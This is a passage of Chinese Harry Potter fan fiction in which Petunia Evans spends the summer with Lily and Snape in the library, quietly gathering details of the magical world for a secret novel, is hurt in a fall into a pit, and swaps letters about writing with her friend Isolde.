她从莉莉身后走出来,在图书馆的桌子上放下自己的书包,拉着莉莉坐下来,对着斯内普露出一个微笑:“我来陪我的妹妹。”
莉莉坐在了佩妮的旁边,对斯内普说:“西弗,今天佩妮主动说要陪我一起做暑假作业。”
斯内普的表情看起来就像吞了一只苍蝇。
佩妮从自己的书包里掏出了针和线,线连着织到一半的作品。
斯内普看到这些东西,从鼻子里发出一声很响亮的嗤笑:“佩妮·伊万斯小姐,别告诉我你的暑假作业就是这玩意儿?你还要在图书馆里做所谓这样的暑假作业?”
佩妮挺直了她的脊背,把脖子扬得高高的,拿着她的针线对斯内普点了点头,扯出了一个礼貌的微笑。夏天的图书馆安静又凉快,图书管理员一直待在借书处的窗台后面,只要不是大声喧哗,几乎从来不会管他们到底在做什么。比起只有暑假才能回来的莉莉他们,她才是图书馆的常客,她自然知道图书馆什么能做,什么不能做,在图书馆,她想做什么都行。
“嘿,西弗,小声一点,图书管理员会把我们赶出去的,还有,不要这样对佩妮说话。”
斯内普看了莉莉两眼,闭上了嘴。他喉头滚动了几下,最终什么都没说,把头埋进了自己摊在书桌上的纸张里,默默地把自己所有的东西都挪得离佩妮远了一点。
莉莉从书包里掏出她的羽毛笔和羊皮纸,佩妮瞥了一眼,不太理解现在都开始使用钢笔和信纸了,为什么巫师还坚持用羽毛笔和羊皮纸,这东西看起来虽然老旧,但是并不夸张得引人注意。她偷偷打量了一眼,对面的小怪物用的也是同样的羊皮纸和羽毛笔。
她在心里记下来,原来巫师是这样写东西的。
她的写作并不顺利。
那天晚上,起初在一股强烈得快要让她掉下眼泪得情绪的推动下,她在笔记本上写下了那两句话。她心潮起伏,思绪万千,然后——
没有然后了。
伊莎小姐和她的朋友们发现了自己奇妙的能力,然后怎么发展?
然后坐下来你看我我看你,“你也是女巫?”“你也是?”——不行不行,这太无聊了,佩妮划掉了这一段。
然后妈妈告诉伊莎小姐,你是一名女巫,你要去拯救世界了——世界是什么样子的?怎么去拯救世界?佩妮思索了好久,然后把这一段话也划掉了。
就写麦格教授带莉莉去对角巷买东西的那天好了,佩妮心想。她写一名真正的女巫出现,告诉了伊莎小姐和她的朋友,你们是女巫,要去一所神奇魔法学校上学。这是个好主意。
伊莎小姐知道佩妮赐予她们的能力到底是什么吗?佩妮苦苦思索,她决定描写一下莉莉那天回来的时候,给她们描述的对角巷的神奇场景,但是佩妮那天在楼上,还在看简爱,她只是竖起了一只耳朵在听莉莉,一年过去了,她努力回忆,但是记忆就像褪色的旧照片一样,怎么样也不如当初的鲜艳多彩。
佩妮写了又划,划了又写,不多时书桌上出现了很多个浸着墨水的废纸团,那本笔记本只剩一半的厚度了。
佩妮颓然地坐在桌子前,心想,又要买新的笔记本了。
她的感情足够激烈,她心中藏了万千话语,画面在她的脑海中奔腾,她有纸、她有笔、她有情绪,她有感受,但是下笔的时候她连魔法世界的一棵树都不知道怎么描绘。创作的激情褪去,问题一个接一个地涌上来,不对啊,写作应该没那么难才是啊。
那天晚上佩妮抱着自己的膝盖坐在书桌前一直坐到天空的颜色从深黑色变成浅蓝色,她把自己的十个手指甲全咬秃了。
第二天,佩妮不是很情愿地拉住莉莉:“你能再给我讲一下对角巷的事情吗?”莉莉看起来很高兴,记忆又鲜活了起来,佩妮在书桌前磕磕绊绊地写,写到神奇的魔法世界徐徐在伊莎小姐和她的朋友面前展开了自己神秘的面纱,有莉莉的鲜活复述,这段绝对精彩,然后呢。
然后该上学了,佩妮掏出来莉莉写给她的信,想通过信里的文字在心中描绘霍格沃茨的景象,她以为只要凭借想象,自己凭空就能造出一个魔法世界,但落笔才发现,没有细节的投射,她搭建出来的世界是如此的平淡苍白,连她自己都不喜欢。
一股无力的愤怒悄悄抓住佩妮。
“莉莉,”佩妮决定叫住莉莉,“我最近想和你一起写作业,我不在乎你那个朋友在不在,我只是想和你待在一起。”
莉莉看起来高兴坏了。
图书馆里,莉莉拿出了一本书,佩妮用眼角的余光瞥见,书名叫《神奇药草与它们的用途》。她不动声色地眯了眯眼睛,看见小怪物在她对面,桌子上摊开一本《魔药学基础》。小怪物的书看起来很旧,很黄,莉莉的书就很新,这两本书乍一看上去跟佩妮在图书馆看到的书并没有太大的差异。但是细看之下,莉莉手上的那本书材质更古典、花纹更繁复,体积也比普通的书看起来大得多。
小怪物坐在对面,奋笔疾书,他下笔速度很快,但好像并不怎么依赖他摊开的那本书,他只是偶尔瞥一下,就能低头继续在纸上写很久。写字的时候他很专注,表情跟平时嘲讽别人时很不一样,在他的动作之间,佩妮观察到小怪物那本书的内页有的破损的看起来就要散架了。
一点也不体面,佩妮在心里翻了一个白眼,移开了视线。
莉莉就写得慢一点。她摊开的羊皮纸上则写着:曼德拉草的生长周期图及其使用方法。她写一下,翻一翻书,再写一下,再翻一翻书,在纸
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上涂涂画画,不一会儿画出了一个皱皱的婴儿。
皱皱的婴儿?
佩妮忍不下心中的好奇,她问莉莉:“这是什么?”
对面的斯内普听到了,他再次从鼻子里发出一声响亮的嗤笑声。
佩妮盯着他:“可能斯内普先生不小心感染了风寒,他需要的话可以现在就回家,好好看看他那硕大的鼻子,免得不小心鼻涕流出来沾到他可怜的书上,使本就破损的书雪上加霜。”
斯内普不甘示弱:“佩妮伊万斯小姐也可以回去找一个治疗师好好看看她的脖子,她的脖子为了伸出去打探别人的事情都快歪成长颈鹿了,但她毕竟不是真正的长颈鹿,这样看起来格外的辛苦,令人忍不住对她的脖子进行好心的询问。”
佩妮要拍桌子站起来,但是理智和莉莉同时拉住了她,图书管理员的视线往这个方向瞥了一眼,斯内普幸灾乐祸地看着她。
“西弗,佩妮,别这样。”莉莉看了西弗一眼,然后拉住了佩妮的胳膊,轻声对她说:“这是曼德拉草,佩妮我给你解释。”
莉莉花了好一阵功夫给佩妮解释什么是曼德拉草,斯内普看起来很不甘心,但是在莉莉的旁边,斯内普最后什么也没说。
他看起来很想和莉莉单独待在一起,中间他有什么话想跟莉莉说,但是因为佩妮在,只能把这些话咽下去,一直到晚上把莉莉送回家,他也没有获得单独和莉莉说话的机会,佩妮上台阶的时候,她感觉他的眼神快要把佩妮烧出一个洞了。
但是,佩妮突然产生了一种报复的快感。她的本意也并不是过来和莉莉重归于好,她的目标是莉莉的经历,是她的小说,获得了自己想要的东西后,她就应该迅速甩开他们两个,但是在斯内普看着她愤怒无比,却又因为莉莉的原因做不了什么的时候,佩妮在图书馆重新坐了下来。
凭什么是我先走?
“我们继续一起做暑假作业呀。”
斯内普决定把佩妮当空气,只跟莉莉说话,但绝不主动退出和莉莉的时间。佩妮也把斯内普当空气,只跟莉莉说话,但她也绝不主动退出和莉莉在一起的时间。他们就要和讨厌的人待在一起,比比看谁先熬不住。
“我很高兴我们之间一整个暑假都没有争吵了。”莉莉说。
“我很高兴你和莉莉之前的关系变好了。”妈妈说。
随着小说磕磕绊绊地写下去,在莉莉那双绿色的眼睛期待地转过来的时候,佩妮别开了眼。她抓住她,留下她,允许莉莉向她靠近一点点,只是为了一点点现实的细节,使她的世界不至于像个蹩脚赝品,但是在她内心的深处,她知道自己仍然想推开她,把她的魔法、她的秘密、她的世界全都拒之门外。
一个属于莉莉的故事,她偷走送给别人。
佩妮又挺起自己的胸膛,无所谓,反正谁也不知道。
25.chapter24
佩妮的“暑假作业”很快就做完了,但是莉莉的显然没有,为什么小巫师暑假要写那么多的内容,写完草药学,还要写魔药学,写完魔药学还要写变形课的作业。噢,居然还有魔法史的论文。
佩妮问莉莉:“这些论文你不是圣诞假期的时候写过一次了吗,怎么还要写?”
莉莉告诉她,虽然都是论文,但是每个假期老师布置的内容是不一样的。
看着佩妮的神情,对面斯内普发出一声十分响亮的嘲笑,这回图书馆管理员走到了他们的桌子上,用食指敲了敲桌子:“保持安静,或者出去。”
佩妮没有在图书馆写小说,这是她最重要的一个秘密,她谁也不能说。在做完自己的“暑假作业”后,佩妮开始尝试拿起了图书馆的其他书本,阅读浪漫小说使佩妮的词汇量突飞猛进,有一些复杂一些的单词,她不需要查阅字典,根据上下文也能推测出来了。
她在图书馆的书架上翻到了一本绘图版本的《古希腊神话集·青少年版》,这本书里面的内容大部分都由插图展示,只有很小的一部分文字,里面构筑了另外一个神奇的神话世界,佩妮隐约觉得这本书对自己的小说创作有帮助,她拿下来看。
斯内普坐在对面,从书后面露出一双黑色的眼睛:“伟大的佩妮·伊万斯小姐在暑假过半后,终于舍得开始转动她那个聪明的小脑袋瓜了。”
忍住佩妮,这里是图书馆,不能把书扣在他的头上,佩妮想,她把书放在桌子上翻阅起来。
——太阳神阿波罗爱上了河神的女儿达芙妮,但她不想接受阿波罗的追求,她疯狂逃跑。眼看要被追上,她大喊:“宁可变成树也不会嫁你!”于是她真的变成了月桂树。
——西西弗斯是科林斯的国王,他因欺骗死神,泄露了宙斯的秘密,被惩罚永远推一块巨石上山。每当快到山顶,石头就会滚落下山,如此循环往复不得而终。
——宙斯送潘多拉一个盒子,叮嘱潘多拉千万别打开。但是潘多拉还是忍不住掀开了盖子,释放出世间所有灾难,唯独“希望”留在盒底。
佩妮翻看这些故事,这些插图生动,十分好懂,有些故事她能理解,比如特洛伊木马的那个故事,还有伊卡洛斯不听父亲的劝告飞向太阳,最后融化了他的羽毛,他也最终因此而死亡的故事。但有一些故事她并不看得十分明白,为什么这些神会看不清自己的命运,为什么他们的选择会如此偏离他们的轨迹。潘多拉没有错啊,她只是一个无知的少女,宙斯为什么偏偏给她一个这么危险的盒子,又不告诉她打开盒子的后果,佩妮觉得非常的奇怪。
莉莉被吸引了注意力,她把魔法史论文往旁边一推,将脑袋凑过来,她也跟着佩妮一起读起了这本神话故事。对面的斯内普看起来很生气,他的鼻子喷出粗重的呼吸,黑眼珠恶狠狠地瞪了佩妮一眼,低下头用力写着什么,隐约可以听见笔尖粗鲁地划过羊皮纸的沙沙声。
——音乐家俄耳甫斯深爱他的妻子欧律狄刻,但是非常不幸,他的妻子被毒蛇咬伤了坠入冥府,俄耳甫斯追下冥界试图拯救他的亡妻。冥王允诺他,你可以把欧律狄克带回人间,你在前面走,她在后面跟着你,但是走出冥界前不能回头看,否则她就要永坠深渊了。临近人间时,他忍不住回头,妻子瞬间被拉回深渊。
“为什么?”莉莉茫然地抬头。
“对啊,冥王不都答应了俄耳甫斯,让他的妻子跟他回去了吗,只要俄耳甫斯能忍住不回头。”佩妮回望着莉莉水绿的眼睛,眼睛里也是一片茫然。
“对啊,马上就要回到人间了,俄耳甫斯为什么没有忍住回头了,欧律狄克这下再也回不去了。”莉莉的声音听起来愤懑不平。
“也许——”斯内普的声音从对面轻飘飘地传过来,他竖起羊皮纸,挡住自己的下半张脸,眨巴着他那双黑色的眼睛盯着她们,声音听起来有一些不自然,“也许从欧律狄克被毒蛇咬伤的那一刻起,就注定她和俄耳甫斯已经是两个世界的人了,他们永远也回不去了。”
佩妮和莉莉都难以接受这个解释。
佩妮把书大力合上:“请斯内普先生管好自己的眼睛和嘴巴,这里没有邀请第三个人说话。”
这回轮到斯内普重重翻了一个白眼。
“这本书不好看,我换一个本书。”
佩妮找到了那本《傲慢与偏见》,她有些怀念地把它抽出来,在这样一个温暖的午后,与老故事和一些温暖的记忆重逢,不失为一个好的选项。
“这本书很好看吗?”莉莉侧身看着佩妮,眼睛里露出渴望。
佩妮点点头:“我要看这本,你要看的话就自己再去拿一本。”
莉莉推下手中的羊皮纸就跑去了书架后面找了一本和佩妮一模一样的书,坐了下来。
“喂,莉莉,我们是来图书馆写论文的!”斯内普有一些着急。
“整个下午,从坐下来到现在,我一直在跟妖精打架,我受够了。西弗,你加油写,写完了借我抄一下,拜托拜托。”
“斯内普先生,请好好继续研究你的魔法史吧,看你的表情,想必你的魔法史一定考的很好吧?”
书上说的一双会说话的眼睛果然是真的,佩妮心想,小怪物的眼睛里真是能看出来他一肚子想对她说的“真心话”。而佩妮低下头,她选择不看。
莉莉翻开了《傲慢与偏见》,然后一个下午都顾不上跟他们说话。
回去的路上斯内普看起来真的气坏了,他抱着他的旧书包慢吞吞地跟在佩妮和莉莉的后面。佩妮不用回头都能想象到他盯着佩妮的眼神闪烁着如何恶毒的光芒。
莉莉就在佩妮的身边,滔滔不绝地单方面跟佩妮说着《傲慢与偏见》有多好看,达西先生和伊丽莎白小姐有多么的令人着迷。
“佩妮,这本书真的太好看了。”莉莉说,佩妮悄悄地挺起自己的胸膛,直起自己的脖子。她当然知道这本书有多好看,她还知道有更好看的书,甚至知道这些书在哪,但她绝不会告诉莉莉的,这是佩妮自己的秘密。
“我的帽子!”莉莉惊叫起来,他们正走在一条回家的小路上,这是莉莉找到的一条回家的捷径,严格意义上来说,这并不算是一条的路,只是人来往之间踩踏出来的一条小径,而且要穿过一条没有多少人经过的树林,因为人少,树林里偶尔可见一些小动物。但是这条路确实可以缩短一半回家的时间,也不知道莉莉怎么找到的。
莉莉说的是今年暑假爸爸送给她的一顶墨绿色的贝雷帽,跟她的眼睛一个色系,看起来更深沉,配上她红色的头发,整个人就像从油画里走出来一样。莉莉非常喜欢这顶帽子,现在她把这顶帽子落在了图书馆。
“我现在去拿,你们等一下我。”莉莉一转身就跑了。
“莉莉我跟你一起去。”斯内普转身想追上去。
“不要,我自己去,你就在这里等我,我很快回来。”莉莉留下这句话就跑远了,斯内普想追上去,但是听到莉莉的话,他慢慢停下来。
四周一下子安静起来。
他们此刻站在一个小土坡上,佩妮看着斯内普的动作,忍不住学着他,抱着胳臂,从鼻孔里喷出一声响亮的嗤笑。——这很不淑女,佩妮她当然知道,但是佩妮忍不住。
斯内普把他的目光转过来,冷笑一声:“你就算再怎么靠近莉莉,你是麻瓜,她是巫师,你们永远是两个世界的人。”
怎么又是这一套老掉牙的说词啊,佩妮觉得小狗叫了一下午,可能终于累了,她礼貌地笑了笑:“对,但我永远是莉莉·伊万斯的姐姐。”
斯内普盯着她,眼睛像淬了毒一样:“那你又为什么要向她打听魔法世界的那些事情呢?你想把这些事情当故事告诉给谁听?我告诉你,就算你再怎么靠近,这些事情,这个世界都永远不会是你的,你只是一个麻瓜而已。”
佩妮倒抽了一口冷气,她绝对没有办法再跟这个恶毒的怪物待在同一片天空下了,她快步往前走了两步,然后她踩到了一堆干枯的树枝,脚下一空。
地面上突然出现了好大一个坑。
“啊!”佩妮发出了一声短促的尖叫,摔了下去。
斯内普大吃一惊,他下意识往前踏了一步,伸出手,他的手只碰到了佩妮的衣角,佩妮就狠狠跌进了那个坑里。
谁在这条路边设置了一个捕猎陷阱,竟然还不做标识。
佩妮摔进了这个大坑里,大坑里遍布尖锐的石头和粗糙的树枝,佩妮坐在大坑里,觉得自己的右小腿很疼,她胡乱一摸,手上湿漉漉的,啊,是血——她的右小腿被划了好长的一道口子,此刻正往外汩汩冒出鲜血。
佩妮茫然地抬头看着头顶蓝色的天空,斯内普呆呆地站在坑的边缘,神色吃惊地看着她。
“你……”佩妮的眼泪夺眶而出。斯内普突然反应过来,但是他的反应好像比她还大,他立刻退后了两步,像被什么东
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西烫到了似的,脸色立刻涨得通红起来:“不是我!”
“?”
“我没有用魔法害你,这个坑不是我变出来的,不要又把这些事情推到我身上。”斯内普神色惶恐起来,他激动地说:“我是很讨厌你这个麻瓜,但是我不会变出这样一个坑来害你。”
“我没有说是你啊。”佩妮抬头看着神色惶恐的斯内普,觉得荒谬得可笑,一股尖锐的疼痛从右小腿直蔓延上来,她含着泪大声重复了一遍“我没有说是你啊!”
佩妮举起自己的手,看着手上的泥土和鲜血,感受到右小腿的疼痛,眼泪止不住地往下掉。
麻瓜、麻瓜、麻瓜、麻瓜。
“喂,斯内普,我说你,”佩妮忍不住了,她抬手拭去掉出来的泪水:“看着我!看着我!!”
泪水根本擦不完,不断涌出来模糊了她的视线,她看不清斯内普的神色,她冲斯内普举起自己的手,大叫起来:“你好好看看我,麻瓜麻瓜,我是麻瓜又怎么样,我也是人,你也是人,我跟你一样有两只眼睛一只鼻子一张嘴,看见了吗!我的血也是红色的!也是热的!你看看!跟你有哪一点的不一样,你好好看看,我也是有心的!”
说完这句话,她再也不想去管什么斯内普,开始在坑底胡乱摸索着。她得找一些什么该死的东西,先让自己站起来,然后从这个该死的坑里爬出去!
她粗鲁地拿着脏兮兮地手擦着自己的眼泪和鼻涕,感觉到脸上黏黏的,大概是手上的泥土和血渍不小心被蹭上去了,她一定狼狈极了,但她什么也不想管了。这个过程中她发出了一声响亮的哭嗝,她愣了一下,听见一声笑声,噢原来是自己被自己气笑了,这让像大雨一样控制不住地滑落的泪水有了一些收敛的迹象。
“佩妮!”莉莉着急的声音从大坑的边缘响起来,她趴在坑的边缘,看起来想跳下来陪她。
佩妮好不容易止住了自己的抽泣,她擦去泪水,仰着头对莉莉说:“这里有一个不知道是陷阱还是什么玩意儿的大坑,我不小心摔下来了,不是斯内普干的。你想想办法,用你的魔法也好,用其他办法也好,总之,快点把我拉出去。”
“对不起,佩妮,我们在校外用不了魔法。“莉莉看起来也快哭了,她对佩妮伸出手,大半个身子都要探进坑里了,”你把手给我,我现在拉你上来。”
佩妮冷静了一点,她摇摇头:“你的力气不够,我会把你拉下来的。”
这时另外一只手伸了下来。也不算一只手,这只手故意缩在袖子里,看起来像是完全不想跟别人有任何的肌肤接触,袖子的主人另外一只手放在鼻子下,撇着嘴,皱着眉,视线避开坑底,好像里面有什么臭大粪一样。佩妮看着袖口上清晰可见的磨损的痕迹,还有泛黄的污渍,实打实被气笑了。
算了,计较什么呢。
她右手抓住莉莉的手,左手隔着衣袖握住斯内普,被他们拉出了这个大坑。一出这个坑,斯内普就火速把手抽了回去,甩甩袖子,好像在甩掉什么残余的东西。
“佩妮,你的腿流血了!”莉莉水绿色的眼睛里开始泛出雾气,“我不应该把你一个人扔在这里的。”
“好了,把你的眼泪收一收,我现在只想回家,快点,现在立刻送我回家。我这辈子都不会再想见到这条小路了。”
回到家后,佩妮喜提伊万斯太太的尖叫,右小腿的12道缝针,还有为期半个月哪儿也不许去,只能在家呆着的禁闭。
莉莉从外面玩回来了,给佩妮带了黄油蛋糕。她对佩妮说:“佩妮,你放心,我会给你带各种好玩的东西回来的,噢,西弗让我转达给你,希望你多休息,好好养伤。”
我猜他的原话肯定是“佩妮·伊万斯小姐在自己的腿好起来之前最好乖乖待在家里,哪里都不要去。”佩妮咬牙切齿地想,她都可以想象,终于获得了跟莉莉独处时间的斯内普会有多么容光焕发,洋洋得意。
佩妮现在有大量独处的时间进行她的小说创作了,她突然文思泉涌,下笔飞快,在这个独属于她的故事里,她情真意切地创作了一个超级大反派,穿着黑漆漆的袍子,黑头发黑眼睛,总是给小女巫们添麻烦,但是总是会被机智的小女巫识破,她给这个大反派起名叫蝙蝠王子,蝙蝠王子最后被她的小女巫们打败了。
我对他可真是太仁慈了,佩妮想,我还给他取名叫王子,太体面了。
——在我的小说里吃大粪吧!斯内普!
26.chapter25
佩妮给伊索尔德:
“亲爱的伊索尔德:
我非常非常想你,不用为失约而感到抱歉,这个暑假我过得还不错,我知道这个暑假你有自己的事情,希望一切都顺利解决了。
你还记得上一个暑假,在紫藤路17号的时候,你对我说的话吗?你说你也希望有一个兔子洞,让你钻过去进入异世界,还有你说要是魔法小女巫就好了,你会骑着扫帚来找我,并且第一个实现我的愿望,现在我决定送你一件礼物,随信附上——这是我一整个暑假的杰作。
我为了你写了一篇小说,我希望你能在我的故事里快乐地遨游。当然这个小说目前只有三章,写到了她上学时候。我还在构思她上学后的情节,这有一点困难,但是难不倒我,我很快会把后面的内容写出来寄给你的。
不过伊索尔德,上次暑假的时候,你是怎么做到短短几天就把夏日的秘密写完给我的,你太了不起了。写小说真是一项大工程,你要看很多很多的书,准备很多很多的东西,然后一切准备好了,坐在书桌前开始发呆,一直到天快要亮了。噢这不是重点,重点是,我终于把它写出来了,这真是太难了。
请你一个人的时候再打开来看,不要在公共的场合阅读这本书。我在把这本小说寄给你之前,已经把它看了5、6遍,逐一检查了单词和句式,我已经快不认识这本小说了。如果你喜欢的话,请告诉我,如果你不喜欢的话,算了,不喜欢你也告诉我吧。
希望尽快得到你的回信。
爱你的
佩妮·伊万斯”
暑假的最后几天,佩妮就把这封信投递进了信箱,她算好了时间,提前寄出去,伊索尔德开学的时候就能收到这封信。
伊索尔德会怎么评价她的小说?伊索尔德会喜欢她的小说吗?佩妮惴惴不安地想了一路,走进家门的时候,她甩甩头,决定放过自己,信已经寄出去了,没办法反悔了。
新学期开始了,佩妮在走进校园的时候,看见了本·肖恩。
佩妮立刻就停住了脚步,不远处走在入校有好些女生也纷纷停了下来,退到路边,把道路让给本·肖恩,嘴巴都抿得紧紧的。
本·肖恩穿着他父亲破旧的二手工服,工服上还有大块暗色的机油污渍,戴着一顶皮革鸭舌帽,身形看起来比上次更高大。他把袖子挽起来,露出两条被太阳晒得黝黑的胳膊,左手夹着一根点燃的烟,右手提着一个看起来身形只有9岁的小男孩。
那个男孩走路的姿势实在是很难不让人注意到。他迈步的时候,左腿像是被什么东西吊着,膝盖无法完全伸直,每迈一步,整条腿便划出一个僵硬的半圆,脚尖先蹭过地面,然后脚掌才小心翼翼地落下。他的右腿稍好些,但看上去也比正常人的腿要细,走起路来一深一浅,仿佛地上有坑一样,但是佩妮知道,阿加莎女士是专门请人维修过校门以及门前的路的。
“这是学校的门面,必须要体面。”当时阿加莎女士是这么跟赞助商和建筑工人说的。
那个男孩的身子随着步伐左右摇晃,脊柱微微侧弯,仿佛随时会失去平衡,就像一只鸭子,本·肖恩不耐烦了,一把抓过那个男孩,不顾他差点摔倒,一把将他扯到了阿加莎女士的面前,左手把烟放到自己的嘴巴里,吐出最后一口白烟,将烟蒂扔到地上,抬起左脚狠狠地碾了上去。
阿加莎女士盯着本·肖恩扔在地面上的烟头,她胸前的银色十字架吊坠微微摇晃,在阳光下反射出耀眼的光芒:“学校区域禁止吸烟,肖恩先生。”
本·肖恩冲阿加莎女士露出他黄色的牙齿,猛地一拍那个小男孩的背,把那个小男孩推到了阿加莎女士面前:“嘿,女士,不要这么严肃,这是我的弟弟,他到上学的年龄了,今天他爸爸没空,我来送他上学。”
那个小男孩本来就站不稳,被他哥哥一推,往前一扑就要跌倒,但是阿加莎伸出她的手,像黑色的大鸟张开她的羽翼,黑色的衣袍一卷,就把小男孩卷在了自己的臂弯里:“学校会平等地赐予每一个孩子读书的机会。”努力在阿加莎女士身边站直的那个小男孩仰头对她露出一个笑容。他的五官活脱脱就是本·肖恩的缩小版。
“上帝保佑你,你真是一个好心人,阿加莎女士,我把他交给你了,现在我要回去上工了。”本·肖恩嬉笑着说到,冲阿加莎女士脱下他那顶鸭舌帽,放在胸前,滑稽地敬了一个不伦不类的礼。
佩妮听到附近有几个女生捂住嘴,发出了很小声的笑声。
“在此之前,如果你希望你的弟弟在学校接受到他需要的良好的教育,”阿加莎女士叫住了要离开的本·肖恩,她低沉的声音听起来非常的威严,银色的十字吊坠响亮起伏的弧度更大了:“那么作为他的哥哥,请你以身作则,捡起地上的烟头,扔到旁边的垃圾桶去。”
本·肖恩收敛了自己的笑容,他盯着阿加莎女士,但她不曾移开自己的视线,她身形也很高大,俯视着现在还没有她高的本·肖恩。
在这样的视线中,本·肖恩低下头捡起了那根烟头,不情不愿地扔进了旁边的垃圾桶。离开的时候,他的视线与佩妮对上了,他对佩妮做了一个恶狠狠的表情,佩妮倒退一大步的动作明显取悦了,他咧着嘴走了。
“你们还在看什么?上课时间就要到了,赶紧进来上课。”阿加莎女士高声说。
佩妮惊魂未定地坐到自己的凳子上。
“嘿,你好。”一个眼生的女孩坐到了佩妮的远处。
“嘿,你好。”佩妮茫然地回礼,那女孩坐的是薇拉以前常坐的那个位置。
今天普尔佳来上学了,她到得还很早,早早就坐在了座位上,她的眼睛下还是两个重重的黑眼圈:“你好啊佩妮,你的暑假过的怎么样?我敢打赌,肯定过的很好。其实我的暑假过得也还不错。”
佩妮点点头,她一个暑假都没有去找过普尔佳,但是普尔佳好像也没有注意到这件事。佩妮盯着她紧紧锁在一起的眉头,忍不住开口:“如果你需要我帮忙的话,普尔佳,你可以跟我说。”
“噢不需要,谢谢你佩妮,你什么
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都不需要做,我很好,谢谢你,佩妮。”普尔佳讶然,她的语气听起来十分的轻快,但是佩妮看见她的眉头一直没有松开。
佩妮决定不在这个话题上继续深究,她换了一个话题:“今天早上我在学校门口看见本·肖恩了。”
普尔佳瞪大了她的眼睛,一下坐直了:“不是,本·肖恩来学校干什么?”
“他弟弟到上学的年级了,他来送他弟弟上学。”
“他为什么要来圣凯瑟琳现代中学啊?”普尔佳不可置信。
佩妮耸耸肩:“噢,科克沃斯就这一所现代中学,还不需要出学费,这可能是他们最好的选择了。”
“可是……”
“你不知道他弟弟走路的样子,左腿拖在地上,走起路来一瘸一拐,就像一只鸭子。”佩妮地跟普尔佳描绘今天在校门口见到的情形,普尔佳吃惊地长大了自己的嘴巴。
“那是小儿麻痹症,我妈妈告诉我的。”旁边那个坐了薇拉位置的女孩插进嘴来,一边翻着书包,一边跟她们说:““学校会平等地赐予每一个孩子读书的机会”,但是我觉得他更适合去特殊学校。”
普尔佳和佩妮都沉默了下来。
佩妮放学的时候看见本·肖恩来接他的弟弟,他骑了一辆单车过来,等他弟弟一瘸一拐走出学校后,粗暴地把他弟弟放在了车后座上,胡乱翻检着他的书包,什么都没翻出来后,把这书包往他弟弟怀里一塞,没等他弟弟坐稳,一蹬轮子就冲了出去。
佩妮和大部分的人一样,等本·肖恩走远了,才骑上自己的单车回家。
“学校会平等地赐予每一个孩子读书的机会”,学校是免费的,机会是平等的,那薇拉呢?
回到家她站在厨房门口问妈妈:“妈妈,你知道薇拉去哪里了吗?”
正在厨房忙活的妈妈头也不抬:“不知道,但是我知道薇拉她妈妈把房子卖了。”
佩妮心想,这个我也知道呀,那卖了房子薇拉她们去哪里了呢?
妈妈停下手里的动作,抬头思索:“薇拉的妈妈其实是一个很厉害的女人,那时候我在纺织厂见到她,她跟在薇拉的爸爸后面,虽然她很少说话,但是我知道纺织厂的账单全部都要经过她。你不知道,在没有出事之前,她脖子上带的那个项链可漂亮了,我曾经非常羡慕,但是……”
水开了,妈妈低头迅速熄灭了炉火,她抬起头来盯着佩妮的眼睛,温柔又严厉地说:“佩妮,我再次告诉你,别再打探薇拉家的事了。发生了这样的事情,没有人会再想跟他们来往的。他们能怎样,我们又能怎样呢?”
伊万斯太太看着佩妮的脸色,笑起来,把面粉抹到了佩妮的脸上,食指点着她的额头,轻巧把她送出了厨房:“你还是个孩子,想那么多做什么,像我们这样平平淡淡就是最好的了,玩你的去吧,别在这里碍我的事。”
佩妮尖叫了一声,拍开妈妈的手,冲去厕所,洗完脸,她抬起头看着镜子里自己干干净净的脸,
她在心里长长地叹了一口气。
27.chapter26
伊索尔德给佩妮:
“亲爱的花瓣小姐:
很抱歉我一整个暑假都没有出现,也没有给你写信。你不知道等我回到温德米尔女子中学的时候,女生宿舍的监管掏出给你给我的信的时候,我有多么的惊讶和感动。
这一段时间我除了上课,下课时间都在看你写的小说。佩妮,这是一本非常出色的小说,我很喜欢伊莎小姐打败阻拦她上学的蝙蝠王子,成为一个真正的女巫的故事。这本小说虽然只有短短的三章,但你创造的伊莎小姐是如此的鲜活,描绘的魔法世界是如此栩栩如生,以至于我在心中暗暗期待,世界上是否真的存在这样的伊甸园,这一切都归功于你。
你绝对想不到,目前我所就读的这所中学跟你的小说里那所神奇魔法学院非常相似,我们也有不同的学院,在你的小说里伊莎小姐去了代表勇气的格兰芬多的学院,在我的中学里,我就读的是天鹅学院,不过很可惜,我询问了我们的监管,我们的学院标志除了动物本身的象征意象外,没有任何别的象征意义,还是神奇魔法学校更有意思。我的学校生活就像伊莎小姐的学校生活那样,只是没有魔法。读你的小说,我感觉非常亲切,我的灵魂在其中自由地徜徉。
开学第一周,科学老师带我们参观了配电室。站在配电室里,看着那些会亮的小灯和嘀嘀作响的仪表,突然觉得——也许我们这个世界的”魔法“,其实就是电吧?佩妮,虽然现实世界里可能并不存在像你的小说里那样神奇的魔法,但是我们会不会其实早就已经生活在其他的“魔法”世界里了呢?
另外,写作确实是一件很痛苦的事情,有时候你坐在书桌前绞尽脑汁,冥思苦想,你抱着手,抱着头痛苦地走来走去,然后一个字也写不出来,这很正常。但是无论如何,佩妮,你写得很棒,请继续写下去,我把我最喜欢作家的一句话送给你:我们通过写作,第二次品尝生活。
我记得我说的话,佩妮为伊索尔德创造了伊莎小姐和魔法世界,虽然伊索尔德仍然不能骑着飞天扫帚去找你玩,但是你现在可以向伊索尔德许愿,在力所能及的范围内,伊索尔德第一个实现你的愿望。这个暑假我们一定会见面的。
爱你的,
伊索尔德”
佩妮把伊索尔德的来信读了又读,她感到万分的雀跃。伊索尔德喜欢她的小说,她抱着信纸快乐地想。她觉得伊索尔德说的很对,她和伊索尔德也生活在另外一个神奇的“魔法”世界里,莉莉说霍格沃茨可是连电视都没有,连电视都看不了,什么破地方。
她坐起来提笔给伊索尔德回信:“写作也并没有很难啦,我已经在构思下面的内容了,很快就能给你寄去接下来的章节。另外,我还没有想好要向你许什么愿望,我要先攒着。”她把这封信寄了出去。
窗外的阳光非常好,佩妮跳下床,她要去灰与榆。
推开叮咚作响的门,诺拉在柜台后面向她打招呼,她对佩妮说她有一批书需要从地下室拿出来补到货架上,这本来是索菲应该做的事情,但是她一来就钻进了二楼,诺拉根本喊不动她。
“索菲这个孩子。”诺拉插着腰有一些嗔怪。
佩妮摆摆手就顺着楼梯下去了,她不太喜欢诺拉这通往地下室的楼梯,它比较陡峭狭窄,还没有灯,佩妮需要全程佝着背低着头才行,不然就会撞到那低矮的楼顶。
地下室的天窗漏出一点阳光洒在地板上,佩妮看见了诺拉新进的书,她有一些雀跃,又有新的小说可以看了。她走过去,弯腰将地上的两摞书径直抱在怀里,小心地顺着楼梯爬了出去。
